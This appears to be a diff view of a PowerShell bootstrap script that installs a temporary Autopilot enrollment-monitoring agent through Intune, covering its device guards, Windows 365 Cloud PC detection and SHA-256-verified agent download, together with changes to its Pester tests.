Runs very early in the enrollment process (first Intune action) and:
1. Runs pre-flight guards to skip productive devices and ghost re-installs.
A relax exemption allows install when a single freshly-created profile
appears DURING OOBE (Windows Backup for Organizations restore) or on a
freshly provisioned Windows 365 Cloud PC.
2. Downloads the monitoring agent ZIP from Azure Blob Storage
3. Verifies integrity via SHA-256 hash from the version manifest (mandatory)
4. Extracts the agent into %ProgramData%\AutopilotMonitor\Agent
5. Runs the agent in --install mode (registers Scheduled Task, spawns the runtime)
6. Verifies the runtime process actually launched
Agent self-destructs when enrollment completes.
Relax flow (guards 2+3): a real user profile (or a real LastLoggedOnUser)
normally means "productive -> skip". Two legitimate flows break that assumption:
(1) Windows Backup for Organizations: one user signs in + restores DURING OOBE.
Trigger: the OS positively reports OOBE InProgress (Test via WinRT
SystemSetupInfo.OutOfBoxExperienceState).
(2) Windows 365 Cloud PC: W365 provisions headless -- OOBE and Intune enrollment
complete before any user ever connects, so OutOfBoxExperienceState is NEVER
InProgress when this script runs. The assigned user's profile is created at
first connect, typically seconds before IME pulls this script. Trigger: the
device positively identifies as a Cloud PC via TWO local markers (both
required; captured from a real Cloud PC -- local WMI reports only the
generic 'Virtual Machine' model): HKLM\SOFTWARE\Microsoft\Windows365
registry key AND the CloudManagedDesktopExtension service.
Either trigger relaxes guards 2+3 ONLY when additionally:
(a) there is exactly ONE real user profile, AND
(b) that profile was created within $OobeProfileMaxAgeMinutes minutes.
The Cloud PC trigger additionally exempts guard 4 (uptime window) -- see
.PARAMETER MaxBootstrapWindowHours for why boot uptime is meaningless there.
Any miss keeps the original skip (SKIP-safe: we never install on uncertainty).
On productive devices the profile is old, so (b) keeps skipping correctly.
Known accepted edge: a W365 Frontline shared-mode device can legitimately show a
single fresh profile while productive; a mis-install there is one-time (agent
finds enrollment complete and self-destructs; Deployed marker prevents repeats).
.PARAMETER AgentDownloadUrl
URL to download the agent ZIP from. Defaults to the production download endpoint;
override only for parallel lab/dev assignments that point at a separate pre-release ZIP.
.PARAMETER VersionJsonName
Filename of the integrity manifest in the same blob container as the agent ZIP.
Defaults to "version.json"; override only for parallel lab/dev manifests.
.PARAMETER MaxBootstrapWindowHours
Maximum device uptime (hours) within which the bootstrap is still considered
valid. Devices booted more than this many hours ago are skipped because we no
longer trust their OOBE state. Default: 12.
Cloud PC note: NOT applied when the Cloud-PC relax is active. A Cloud PC runs
headless for days between provisioning and the user's first connect, and the
phase worth monitoring (Account Setup) only starts at that first connect --
there the fresh-profile window (OobeProfileMaxAgeMinutes) is the time anchor,
not boot uptime.
.PARAMETER OobeProfileMaxAgeMinutes
Maximum age (minutes) of the single profile that may appear for the relax
exemption to apply. The restore/first-connect -> bootstrap gap is always
minutes; an older profile is treated as a productive device. Default: 15.
.NOTES
- Agent is temporary and auto-removes after enrollment.
- All files live under C:\ProgramData\AutopilotMonitor (easy cleanup).
- One registry key remains after removal: HKLM\SOFTWARE\AutopilotMonitor\Deployed
(prevents ghost re-installs on re-Autopilot of the same device).
- Scheduled Task survives reboots during enrollment.
- OOBE detection uses Windows.System.Profile.SystemSetupInfo.OutOfBoxExperienceState.
Requires Windows 10, version 1809 (introduced in 10.0.17763.0). Older builds lack
the class -> state reads as 'Unavailable' -> original (skip) behaviour. Docs:
https://learn.microsoft.com/en-us/uwp/api/windows.system.profile.systemsetupinfo
- This script MUST remain pure ASCII (no Unicode/UTF-8 special chars).
PowerShell 5.1 (IME) reads scripts without BOM as ANSI, corrupting multi-byte chars.
.CHANGELOG
2026-08-06 v2.3-dev.3 Guard 4 (uptime window) exempted while the Cloud-PC relax is
active: Cloud PCs run headless for days before the user's first
connect, so boot uptime says nothing about enrollment freshness --
the single-fresh-profile window (< OobeProfileMaxAgeMinutes) already
anchors the relax in time. OOBE-restore keeps the uptime guard.
2026-08-06 v2.3-dev.2 Cloud PC detection rebuilt on captured evidence: first field
test proved local WMI reports only Manufacturer='Microsoft
Corporation' + Model='Virtual Machine' (the 'Cloud PC ...' model
string exists only in Intune/Graph). Detection now requires the
HKLM\SOFTWARE\Microsoft\Windows365 registry key AND the
CloudManagedDesktopExtension service (both verified present on a
real Cloud PC); raw identity + marker states are always logged.
2026-08-05 v2.3-dev DEV variant (-dev.ps1, own log file bootstrap_agent_dev.log)
to validate on Windows 365 before promotion to v2.3:
Cloud-PC-relax -- a positively identified Cloud PC
(Win32_ComputerSystem Manufacturer 'Microsoft Corporation' +
Model 'Cloud PC*') now triggers the guard 2+3 relax alongside
OOBE InProgress; the single-fresh-profile conditions are
unchanged. Raw OutOfBoxExperienceState is now logged.
Refactored into functions with a dot-source entry guard so the
Pester suite (*.Tests.ps1) can load the logic without executing
the bootstrap; behaviour when run directly is unchanged.
2026-07-20 v2.2 Switched default download endpoint from the legacy blob
(autopilotmonitor.blob.core.windows.net) to the Front Door alias
https://download.autopilotmonitor.com/agent/ (route /agent/*).
version.json is still derived from the same container.
2026-06-25 v2.1 OOBE-relax: detect genuine OOBE via WinRT
SystemSetupInfo.OutOfBoxExperienceState and exempt guards 2+3 when a
single freshly-created profile appears in OOBE (Windows Backup for
Organizations). SKIP-safe when the API is absent (< 1809).
Removed legacy Content-MD5 fallback; SHA-256 manifest verification is
now mandatory (no hash -> bootstrap aborts, no unverified install).
2026-05-09 v2.0 Generic bootstrap: agent owns its own defaults (e.g. 600 s
TenantId-wait), so the script only calls `--install` plain.
Hardened post-install with a 10 s runtime-process verify.
(older entries: see Install-AutopilotMonitor.ps1)
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $false)]
[string]$AgentDownloadUrl = "https://download.autopilotmonitor.com/agent/AutopilotMonitor-Agent.zip",
[Parameter(Mandatory = $false)]
[string]$VersionJsonName = "version.json",
[Parameter(Mandatory = $false)]
[int]$MaxBootstrapWindowHours = 12,
[Parameter(Mandatory = $false)]
[int]$OobeProfileMaxAgeMinutes = 15
)
# Script version (bump on meaningful changes; see .CHANGELOG above)
$ScriptVersion = "2.3-dev.3"
# Configuration - Everything in ProgramData for easy cleanup
$AgentBasePath = "$env:ProgramData\AutopilotMonitor"
$AgentBinPath = "$AgentBasePath\Agent"
$AgentLogPath = "$AgentBasePath\Logs"
$LogFile = "$AgentLogPath\bootstrap_agent_dev.log"
# Write-Host (NOT Write-Output): log calls happen inside functions that return
# decision objects; Write-Output would leak every log line into those return
# values and turn them into arrays. Write-Host goes to the console host only.
function Write-Log {
param([string]$Message)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logMessage = "[$timestamp] $Message"
Write-Host $logMessage
Add-Content -Path $LogFile -Value $logMessage -ErrorAction SilentlyContinue
}
# Raw OOBE state via the documented WinRT API
# Windows.System.Profile.SystemSetupInfo.OutOfBoxExperienceState.
# Returns the state string (InProgress/Completed/NotStarted). An older OS without the
# class (< Win10 1809 / 10.0.17763.0) or any error returns 'Unavailable'
# -> SKIP-safe (we never relax a guard on uncertainty).
# Docs: https://learn.microsoft.com/en-us/uwp/api/windows.system.profile.systemsetupinfo
function Get-OobeState {
try {
$null = [Windows.System.Profile.SystemSetupInfo, Windows.System.Profile, ContentType = WindowsRuntime]
return ([Windows.System.Profile.SystemSetupInfo]::OutOfBoxExperienceState).ToString()
}
catch {
return 'Unavailable'
}
}
# Positive Windows 365 Cloud PC detection.
# Evidence captured 2026-08-06 on a real, freshly provisioned W365 Enterprise Cloud PC:
# - Win32_ComputerSystem is GENERIC there: Manufacturer='Microsoft Corporation',
# Model='Virtual Machine'. The 'Cloud PC Enterprise ...' model string exists only
# in the Intune/Graph inventory, NOT in local WMI/SMBIOS -- it cannot be used here.
# - HKLM:\SOFTWARE\Microsoft\Windows365 exists.
# - Service 'CloudManagedDesktopExtension' (Microsoft Cloud Managed Desktop
# Extension, the W365 management agent that runs ON Cloud PCs) is installed.
# BOTH markers are required (AND): each alone has plausible look-alikes (W365-Boot
# physical clients may carry Windows365 policy state; the MCMD agent family also
# served other managed-desktop offerings). Raw identity and both marker states are
# always logged for field diagnosis; any error returns $false (SKIP-safe).
function Test-IsCloudPc {
try {
$cs = Get-CimInstance Win32_ComputerSystem -ErrorAction Stop
Write-Log "Computer identity: Manufacturer='$($cs.Manufacturer)' Model='$($cs.Model)'."
}
catch { Write-Log "INFO: computer identity query failed: $($_.Exception.Message)" }
try {
$regMarker = Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows365'
$svcMarker = $null -ne (Get-Service -Name 'CloudManagedDesktopExtension' -ErrorAction SilentlyContinue)
Write-Log "Cloud PC markers: Windows365 registry key=$regMarker; CloudManagedDesktopExtension service=$svcMarker."
return ($regMarker -and $svcMarker)
}
catch {
Write-Log "INFO: Cloud PC marker check failed: $($_.Exception.Message)"
return $false
}
}
# Collects real (non-special) user profiles as full paths (WMI Special flag + filesystem).
# NOTE: callers MUST wrap the result in @(...). PowerShell unrolls function output, so an
# empty result returns $null and a single path returns a scalar string, whose [0] indexer
# would yield its first char ('C') instead of the full path.
function Get-RealUserProfilePaths {
$excludePattern = '^(defaultuser\d*|Public|Default( User)?|All Users|WDAGUtilityAccount)$'
@(
try {
Get-CimInstance Win32_UserProfile -ErrorAction Stop |
Where-Object { -not $_.Special -and $_.LocalPath -like 'C:\Users\*' } |
ForEach-Object { $_.LocalPath }
} catch { Write-Log "INFO: WMI profile query failed, continuing with filesystem check." }
(Get-ChildItem 'C:\Users' -Directory -ErrorAction SilentlyContinue).FullName
) | Where-Object { $_ -and (Split-Path $_ -Leaf) -notmatch $excludePattern } |
Select-Object -Unique
}
# Relax: the ONLY exemption to guards 2+3. Two triggers (see .DESCRIPTION):
# (1) OOBE InProgress -> Windows Backup for Organizations restore
# (2) Cloud PC identity -> Windows 365 (headless OOBE, profile at first connect)
# Either trigger additionally requires: exactly one real profile AND that profile
# created < $OobeProfileMaxAgeMinutes minutes ago. Any miss keeps the original skip.
# Returns an object with: Active (bool), OobeState (string), IsCloudPc (bool).
function Get-RelaxDecision {
param(
[string[]]$ProfilePaths,
[int]$OobeProfileMaxAgeMinutes
)
if ($null -eq $ProfilePaths) { $ProfilePaths = @() }
$relaxActive = $false
$oobeState = Get-OobeState
$oobeInProgress = ($oobeState -eq 'InProgress')
$isCloudPc = Test-IsCloudPc
if ($isCloudPc) {
Write-Log "Cloud PC detected (OOBE state: $oobeState)."
}
$relaxTrigger = $null
if ($oobeInProgress) {
$relaxTrigger = "OOBE InProgress (Windows Backup restore case)"
} elseif ($isCloudPc) {
$relaxTrigger = "Cloud PC (headless provisioning, OOBE state: $oobeState)"
}
if ($ProfilePaths.Count -eq 1 -and $relaxTrigger) {
try {
$created = (Get-Item -LiteralPath $ProfilePaths[0] -Force -ErrorAction Stop).CreationTimeUtc
$ageMin = ((Get-Date).ToUniversalTime() - $created).TotalMinutes
if ($ageMin -ge 0 -and $ageMin -lt $OobeProfileMaxAgeMinutes) {
$relaxActive = $true
Write-Log ("Relax active: {0} + single profile created {1:N1}min ago (< {2}min). Guards 2+3 relaxed." -f $relaxTrigger, $ageMin, $OobeProfileMaxAgeMinutes)
} else {
Write-Log ("Relax NOT applied: {0} + single profile '{1}', but profile created {2:N1}min ago (created {3:u}) is outside the [0, {4})min window." -f $relaxTrigger, (Split-Path $ProfilePaths[0] -Leaf), $ageMin, $created, $OobeProfileMaxAgeMinutes)
}
} catch { Write-Log "INFO: profile age check failed; relax not applied. $($_.Exception.Message)" }
} elseif ($ProfilePaths.Count -eq 1) {
Write-Log "Relax NOT applied: single profile present but neither OOBE InProgress nor Cloud PC (OOBE state: $oobeState)."
} elseif ($ProfilePaths.Count -gt 1) {
Write-Log ("Relax NOT applied: {0} real profiles present (relax requires exactly one). OOBE state: {1}; CloudPC: {2}." -f $ProfilePaths.Count, $oobeState, $isCloudPc)
}
return [pscustomobject]@{
Active = $relaxActive
OobeState = $oobeState
IsCloudPc = $isCloudPc
}
}
# Runs pre-flight guards 1-5 and returns the install decision WITHOUT side effects
# beyond logging. Returns an object with:
# Install (bool), ReasonCode (null | AlreadyDeployed | ProfilesFound |
# LastLoggedOnUser | UptimeExceeded | AgentPresent), RelaxActive (bool).
function Get-BootstrapDecision {
param(
[int]$MaxBootstrapWindowHours,
[int]$OobeProfileMaxAgeMinutes,
[string]$AgentBinPath
)
# Guard 1: Agent was already deployed on this device (registry marker survives self-destruct)
$deployed = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\AutopilotMonitor' -Name 'Deployed' -ErrorAction SilentlyContinue).Deployed
if ($deployed) {
Write-Log "SKIP: Agent was previously deployed at $deployed."
return [pscustomobject]@{ Install = $false; ReasonCode = 'AlreadyDeployed'; RelaxActive = $false }
}
# The @() wrap is required, see NOTE on Get-RealUserProfilePaths.
$profilePaths = @(Get-RealUserProfilePaths)
$relax = Get-RelaxDecision -ProfilePaths $profilePaths -OobeProfileMaxAgeMinutes $OobeProfileMaxAgeMinutes
# Guard 2: No real user profile should exist yet (primary productive-device guard),
# unless the relax signature holds.
if ($profilePaths.Count -gt 0 -and -not $relax.Active) {
$details = (($profilePaths | ForEach-Object {
$leaf = Split-Path $_ -Leaf
try {
$c = (Get-Item -LiteralPath $_ -Force -ErrorAction Stop).CreationTimeUtc
"{0} (created {1:u}, {2:N1}min ago)" -f $leaf, $c, ((Get-Date).ToUniversalTime() - $c).TotalMinutes
} catch { "$leaf (age unknown)" }
}) | Select-Object -First 3) -join '; '
Write-Log "SKIP: Real user profile(s) found ($details). OOBE state: $($relax.OobeState). CloudPC: $($relax.IsCloudPc). Device appears productive."
return [pscustomobject]@{ Install = $false; ReasonCode = 'ProfilesFound'; RelaxActive = $false }
}
# Guard 3: LastLoggedOnUser - during Device ESP no real user has logged on yet
# (same relax exemption: the restoring/first-connect user signs in legitimately).
$lastLoggedOnUser = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' -Name 'LastLoggedOnUser' -EA SilentlyContinue).LastLoggedOnUser
if ($lastLoggedOnUser -and $lastLoggedOnUser -notmatch 'defaultuser\d*' -and -not $relax.Active) {
Write-Log "SKIP: LastLoggedOnUser found ($lastLoggedOnUser). Device appears productive."
return [pscustomobject]@{ Install = $false; ReasonCode = 'LastLoggedOnUser'; RelaxActive = $false }
}
# Guard 4: Bootstrap window check - device uptime must be within accepted OOBE window.
# Sleep/standby does not reset uptime, only real boot/restart does.
# Cloud PC exemption (v2.3-dev.3): a Cloud PC runs headless from provisioning until the
# user's first connect -- often days -- and the phase worth monitoring (Account Setup)
# only STARTS at that first connect. Boot uptime is therefore meaningless there; the
# single-fresh-profile window of the relax (< $OobeProfileMaxAgeMinutes min) is the time
# anchor instead. The OOBE-restore trigger keeps the original uptime guard (physical
# device, uptime is meaningful).
$lastBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$uptimeHours = ((Get-Date) - $lastBoot).TotalHours
Write-Log "Device uptime: $([int]$uptimeHours)h (last boot: $lastBoot)"
if ($uptimeHours -gt $MaxBootstrapWindowHours) {
if ($relax.Active -and $relax.IsCloudPc) {
Write-Log "Uptime $([int]$uptimeHours)h exceeds the ${MaxBootstrapWindowHours}h window, but the Cloud PC relax is active (fresh first-connect profile is the time anchor). Continuing."
} else {
Write-Log "SKIP: Device uptime is $([int]$uptimeHours)h. OOBE state is older than accepted bootstrap window of ${MaxBootstrapWindowHours}h."
return [pscustomobject]@{ Install = $false; ReasonCode = 'UptimeExceeded'; RelaxActive = $relax.Active }
}
}
# Guard 5: Is the agent already installed? (leftover from previous run)
if (Test-Path $AgentBinPath) {
$existingAgent = Get-ChildItem -Path $AgentBinPath -Filter "AutopilotMonitor.Agent.exe" -ErrorAction SilentlyContinue
if ($existingAgent) {
Write-Log "SKIP: Agent already installed at $($existingAgent.FullName)."
return [pscustomobject]@{ Install = $false; ReasonCode = 'AgentPresent'; RelaxActive = $relax.Active }
}
}
return [pscustomobject]@{ Install = $true; ReasonCode = $null; RelaxActive = $relax.Active }
}
# Main bootstrap flow. Only invoked when the script is run directly (see entry guard
# at the bottom); never on dot-source.
function Invoke-Bootstrap {
try {
New-Item -Path $AgentBasePath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentBinPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentLogPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
Write-Log "===== Autopilot Monitor Bootstrap Started ====="
Write-Log "Bootstrap script version: v$ScriptVersion"
$decision = Get-BootstrapDecision -MaxBootstrapWindowHours $MaxBootstrapWindowHours -OobeProfileMaxAgeMinutes $OobeProfileMaxAgeMinutes -AgentBinPath $AgentBinPath
if (-not $decision.Install) {
exit 0
}
Write-Log "Pre-flight checks passed -- no prior deployment, no productive-device signals, within bootstrap window (relaxActive=$($decision.RelaxActive))"
# Download and extract agent binaries
$agentExePath = Join-Path $AgentBinPath "AutopilotMonitor.Agent.exe"
if (Test-Path $agentExePath) {
Write-Log "Agent already installed at $agentExePath"
}
else {
Write-Log "Downloading agent from $AgentDownloadUrl..."
try {
# Derive manifest URL from the agent download URL (same blob container)
$versionJsonUrl = $AgentDownloadUrl -replace '[^/]+$', $VersionJsonName
$expectedSha256 = $null
$manifestAttempts = 3
$manifestDelays = @(1, 2) # short backoff between attempts; do not block enrollment
for ($attempt = 1; $attempt -le $manifestAttempts; $attempt++) {
try {
Write-Log "Fetching $VersionJsonName (attempt ${attempt}/${manifestAttempts}) from $versionJsonUrl for integrity verification..."
$versionJsonResponse = Invoke-RestMethod -Uri $versionJsonUrl -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop
if ($versionJsonResponse.sha256) {
$expectedSha256 = $versionJsonResponse.sha256.ToLowerInvariant()
Write-Log "SHA-256 hash from manifest: $expectedSha256 (version: $($versionJsonResponse.version))"
} else {
Write-Log "WARNING: Manifest has no sha256 field - integrity cannot be verified."
}
break # manifest reached (with or without hash); retrying would not help
}
catch {
Write-Log "WARNING: Could not fetch integrity manifest (attempt $attempt): $($_.Exception.Message)"
if ($attempt -lt $manifestAttempts) {
Start-Sleep -Seconds $manifestDelays[$attempt - 1]
}
}
}
$zipPath = Join-Path $env:TEMP "AutopilotMonitor-Agent.zip"
$maxDownloadAttempts = 3
$downloadAttempt = 0
do {
$downloadAttempt++
try {
Write-Log "Download attempt ${downloadAttempt}/${maxDownloadAttempts}"
$downloadStopwatch = [System.Diagnostics.Stopwatch]::StartNew()
Invoke-WebRequest `
-Uri $AgentDownloadUrl `
-OutFile $zipPath `
-UseBasicParsing `
-TimeoutSec 30 `
-ErrorAction Stop
$downloadStopwatch.Stop()
$downloadSeconds = [math]::Round($downloadStopwatch.Elapsed.TotalSeconds, 1)
Write-Log "Downloaded agent to $zipPath (took ${downloadSeconds}s)"
break
}
catch {
if ($downloadAttempt -ge $maxDownloadAttempts) {
throw
}
$retryDelaysInSeconds = @(2, 4, 8)
$retryDelaySeconds = $retryDelaysInSeconds[$downloadAttempt - 1]
Write-Log "Download failed (attempt $downloadAttempt): $($_.Exception.Message). Retrying in ${retryDelaySeconds}s..."
Start-Sleep -Seconds $retryDelaySeconds
}
} while ($downloadAttempt -lt $maxDownloadAttempts)
# SHA-256 from the version manifest is the only accepted integrity proof.
# No hash -> refuse to install an unverified ZIP (SKIP-safe security posture).
if (-not $expectedSha256) {
throw "No SHA-256 hash available from manifest - refusing to install unverified agent ZIP."
}
$actualSha256 = (Get-FileHash $zipPath -Algorithm SHA256).Hash.ToLowerInvariant()
Write-Log "Validating SHA-256 hash against manifest"
if ($actualSha256 -ne $expectedSha256) {
throw "SHA-256 integrity check FAILED. Expected='$expectedSha256', Actual='$actualSha256'. Download may be tampered or corrupted."
}
Write-Log "SHA-256 integrity check passed"
Expand-Archive -Path $zipPath -DestinationPath $AgentBinPath -Force
Write-Log "Extracted agent to $AgentBinPath"
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
Write-Log "Cleaned up temporary files"
if (-not (Test-Path $agentExePath)) {
throw "Agent executable not found after extraction at $agentExePath"
}
Write-Log "Agent installation completed successfully"
}
catch {
Write-Log "ERROR downloading/extracting agent: $($_.Exception.Message)"
throw
}
}
Write-Log "Calling agent install mode (--install)..."
& $agentExePath --install
$installExitCode = $LASTEXITCODE
if ($installExitCode -ne 0) {
throw "Agent install failed with exit code $installExitCode"
}
Write-Log "Agent install mode completed successfully"
$runtimeProcessName = 'AutopilotMonitor.Agent'
$verifyTimeoutSec = 10
$verifyDeadline = (Get-Date).AddSeconds($verifyTimeoutSec)
$runtimeProc = $null
while ((Get-Date) -lt $verifyDeadline) {
$runtimeProc = Get-Process -Name $runtimeProcessName -ErrorAction SilentlyContinue | Select-Object -First 1
if ($null -ne $runtimeProc) { break }
Start-Sleep -Milliseconds 500
}
if ($null -ne $runtimeProc) {
$startedUtc = 'unavailable'
try { $startedUtc = $runtimeProc.StartTime.ToUniversalTime().ToString('o') } catch { }
Write-Log ("Runtime process verified: name={0}.exe pid={1} startedUtc={2}" -f $runtimeProcessName, $runtimeProc.Id, $startedUtc)
} else {
Write-Log ("WARNING: Runtime process verification FAILED. Agent --install reported success but no '{0}.exe' process appeared within {1}s. Likely silent block (AV/EDR, AppLocker/WDAC) of the runtime launch. Agent should still come up at next boot via the BootTrigger task. Check Event Viewer > Microsoft > Windows > TaskScheduler/Operational and AV/EDR logs for '{0}.exe'." -f $runtimeProcessName, $verifyTimeoutSec)
}
Write-Log "===== Bootstrap Completed Successfully ====="
exit 0
}
catch {
Write-Log "===== Bootstrap FAILED ====="
Write-Log "ERROR: $($_.Exception.Message)"
Write-Log "Stack trace: $($_.ScriptStackTrace)"
Write-Log "Please check log file: $LogFile"
$errMsg = "AutopilotMonitor bootstrap failed: $($_.Exception.Message)"
if ($errMsg.Length -gt 2048) { $errMsg = $errMsg.Substring(0, 1045) + '...' }
[Console]::Error.WriteLine($errMsg)
exit 1
}
}
# Entry guard: execute only when run as a script (IME, console). Dot-sourcing
# (". .\Install-AutopilotMonitor-dev.ps1", as the Pester suite does) only loads
# the functions above and MUST stay side-effect free.
if ($MyInvocation.InvocationName -ne '.') {
Invoke-Bootstrap
}
@@ -1,5 +1,5 @@
# Pester tests (Pester 5+) for the bootstrap guard/relax logic in
# Install-AutopilotMonitor-dev.ps1 (v2.3-dev).
# Install-AutopilotMonitor.ps1.
#
# The script under test is dot-sourced; its entry guard prevents the bootstrap
# from executing, so loading it here is side-effect free. External state (WMI,
@@ -12,7 +12,7 @@
# This file MUST remain pure ASCII (PS 5.1 reads BOM-less files as ANSI).
BeforeAll {
. (Join-Path $PSScriptRoot 'Install-AutopilotMonitor-dev.ps1')
. (Join-Path $PSScriptRoot 'Install-AutopilotMonitor.ps1')
function New-FakeProfile {
param([string]$Name, [double]$AgeMinutes)
@@ -24,9 +24,9 @@ BeforeAll {
}
Describe 'Test-IsCloudPc' {
# Marker set captured 2026-08-06 from a real W365 Enterprise Cloud PC: local WMI
# is generic ('Virtual Machine'), so detection rests on the Windows365 registry
# key AND the CloudManagedDesktopExtension service (both required).
# Local WMI on a Cloud PC is generic ('Virtual Machine'), so detection rests on
# the Windows365 registry key AND the CloudManagedDesktopExtension service
# (both required).
BeforeEach {
Mock Write-Log { }
Mock Get-CimInstance { [pscustomobject]@{ Manufacturer = 'Microsoft Corporation'; Model = 'Virtual Machine' } }
@@ -78,21 +78,21 @@ Describe 'Get-RealUserProfilePaths' {
It 'merges WMI and filesystem views, drops special/system profiles, dedupes' {
Mock Get-CimInstance {
@(
[pscustomobject]@{ Special = $false; LocalPath = 'C:\Users\LeonGottschalk' }
[pscustomobject]@{ Special = $false; LocalPath = 'C:\Users\UserOne' }
[pscustomobject]@{ Special = $true; LocalPath = 'C:\Users\systemprofile' }
[pscustomobject]@{ Special = $false; LocalPath = 'D:\Profiles\Elsewhere' }
)
}
Mock Get-ChildItem {
@(
[pscustomobject]@{ FullName = 'C:\Users\LeonGottschalk' }
[pscustomobject]@{ FullName = 'C:\Users\UserOne' }
[pscustomobject]@{ FullName = 'C:\Users\Public' }
[pscustomobject]@{ FullName = 'C:\Users\defaultuser0' }
[pscustomobject]@{ FullName = 'C:\Users\WDAGUtilityAccount' }
)
}
$result = @(Get-RealUserProfilePaths)
$result | Should -Be @('C:\Users\LeonGottschalk')
$result | Should -Be @('C:\Users\UserOne')
}
It 'falls back to the filesystem view when the WMI query fails' {
@@ -132,15 +132,15 @@ Describe 'Get-RelaxDecision' {
Mock Test-IsCloudPc { $true }
}
It 'relaxes for a single fresh profile although OOBE is Completed (W365 field case)' {
$p = New-FakeProfile 'LeonGottschalk' 0.6
It 'relaxes for a single fresh profile although OOBE is Completed (first connect)' {
$p = New-FakeProfile 'CloudPcUser' 0.6
$d = Get-RelaxDecision -ProfilePaths @($p) -OobeProfileMaxAgeMinutes 15
$d.Active | Should -BeTrue
$d.IsCloudPc | Should -BeTrue
}
It 'does not relax for an old profile (productive Cloud PC)' {
$p = New-FakeProfile 'LeonGottschalk' 30
$p = New-FakeProfile 'CloudPcUser' 30
(Get-RelaxDecision -ProfilePaths @($p) -OobeProfileMaxAgeMinutes 15).Active | Should -BeFalse
}
@@ -162,7 +162,7 @@ Describe 'Get-RelaxDecision' {
}
}
Context 'OOBE InProgress (Windows Backup for Organizations, v2.2 behaviour)' {
Context 'OOBE InProgress (Windows Backup for Organizations)' {
It 'relaxes for a single fresh profile during OOBE' {
Mock Get-OobeState { 'InProgress' }
$p = New-FakeProfile 'RestoreUser' 3
@@ -218,12 +218,12 @@ Describe 'Get-BootstrapDecision' {
$d.ReasonCode | Should -Be 'ProfilesFound'
}
It 'installs on a freshly provisioned Cloud PC with one fresh profile (W365 field case)' {
$script:fakeProfile = New-FakeProfile 'LeonGottschalk' 0.6
It 'installs on a freshly provisioned Cloud PC with one fresh profile' {
$script:fakeProfile = New-FakeProfile 'CloudPcUser' 0.6
Mock Get-RealUserProfilePaths { @($script:fakeProfile) }
Mock Test-IsCloudPc { $true }
# First-connect user is already visible in LogonUI on W365 -- must not block either.
Mock Get-ItemProperty { [pscustomobject]@{ LastLoggedOnUser = 'AzureAD\LeonGottschalk' } } -ParameterFilter { $Path -like '*LogonUI*' }
Mock Get-ItemProperty { [pscustomobject]@{ LastLoggedOnUser = 'AzureAD\CloudPcUser' } } -ParameterFilter { $Path -like '*LogonUI*' }
$d = Get-BootstrapDecision -MaxBootstrapWindowHours 12 -OobeProfileMaxAgeMinutes 15 -AgentBinPath $script:cleanAgentBin
$d.Install | Should -BeTrue
$d.RelaxActive | Should -BeTrue
@@ -248,7 +248,7 @@ Describe 'Get-BootstrapDecision' {
$d.ReasonCode | Should -Be 'UptimeExceeded'
}
It 'installs on a Cloud PC despite uptime over the window when the relax is active (guard 4 exemption, v2.3-dev.3)' {
It 'installs on a Cloud PC despite uptime over the window when the relax is active (guard 4 exemption)' {
# W365 reality: provisioned days ago, running headless ever since; the user's
# first connect just created the profile. Uptime is meaningless here.
$script:fakeProfile = New-FakeProfile 'FirstConnectUser' 0.6
+335 -210
View File
@@ -6,8 +6,9 @@
Designed to be deployed via Intune as a PowerShell Script during Autopilot.
Runs very early in the enrollment process (first Intune action) and:
1. Runs pre-flight guards to skip productive devices and ghost re-installs.
An OOBE-relax exemption allows install when a single freshly-created profile
appears DURING OOBE (the "Windows Backup for Organizations" restore case).
A relax exemption allows install when a single freshly-created profile
appears DURING OOBE (Windows Backup for Organizations restore) or on a
freshly provisioned Windows 365 Cloud PC.
2. Downloads the monitoring agent ZIP from Azure Blob Storage
3. Verifies integrity via SHA-256 hash from the version manifest (mandatory)
4. Extracts the agent into %ProgramData%\AutopilotMonitor\Agent
@@ -15,14 +16,27 @@
6. Verifies the runtime process actually launched
Agent self-destructs when enrollment completes.
OOBE-relax flow (guards 2+3): a real user profile (or a real LastLoggedOnUser)
normally means "productive -> skip". Windows Backup for Organizations breaks that
by restoring settings and creating ONE profile while still in OOBE. We relax guards
2+3 ONLY when all three positives hold, and nothing else:
(a) the OS positively reports OOBE InProgress (Test-OobeInProgress), AND
(b) there is exactly ONE real user profile, AND
(c) that profile was created within $OobeProfileMaxAgeMinutes minutes.
Any miss keeps the original skip (SKIP-safe: we never install on uncertainty).
Relax flow (guards 2+3): a real user profile (or a real LastLoggedOnUser)
normally means "productive -> skip". Two legitimate flows break that assumption:
(1) Windows Backup for Organizations: one user signs in + restores DURING OOBE.
Trigger: the OS positively reports OOBE InProgress.
(2) Windows 365 Cloud PC: W365 provisions headless -- OOBE and Intune enrollment
complete before any user ever connects, so OOBE is never InProgress when
this script runs. The assigned user's profile is created at first connect,
typically seconds before Intune pulls this script. Trigger: the device
positively identifies as a Cloud PC via TWO local markers (both required):
the HKLM\SOFTWARE\Microsoft\Windows365 registry key AND the
CloudManagedDesktopExtension service.
Either trigger relaxes guards 2+3 ONLY when additionally:
(a) there is exactly ONE real user profile, AND
(b) that profile was created within $OobeProfileMaxAgeMinutes minutes.
The Cloud PC trigger additionally exempts guard 4 (uptime window) -- see
.PARAMETER MaxBootstrapWindowHours. Any miss keeps the original skip
(SKIP-safe: we never install on uncertainty). On productive devices the
profile is old, so (b) keeps skipping correctly.
.PARAMETER AgentDownloadUrl
URL to download the agent ZIP from. Defaults to the production download endpoint;
@@ -36,11 +50,14 @@
Maximum device uptime (hours) within which the bootstrap is still considered
valid. Devices booted more than this many hours ago are skipped because we no
longer trust their OOBE state. Default: 12.
Not applied while the Cloud PC relax is active: a Cloud PC runs headless for
days between provisioning and the user's first connect, so the fresh-profile
window (OobeProfileMaxAgeMinutes) is the time anchor there, not boot uptime.
.PARAMETER OobeProfileMaxAgeMinutes
Maximum age (minutes) of the single profile that may appear during OOBE for the
OOBE-relax exemption to apply. The restore->bootstrap gap is always minutes; an
older profile is treated as a productive device. Default: 15.
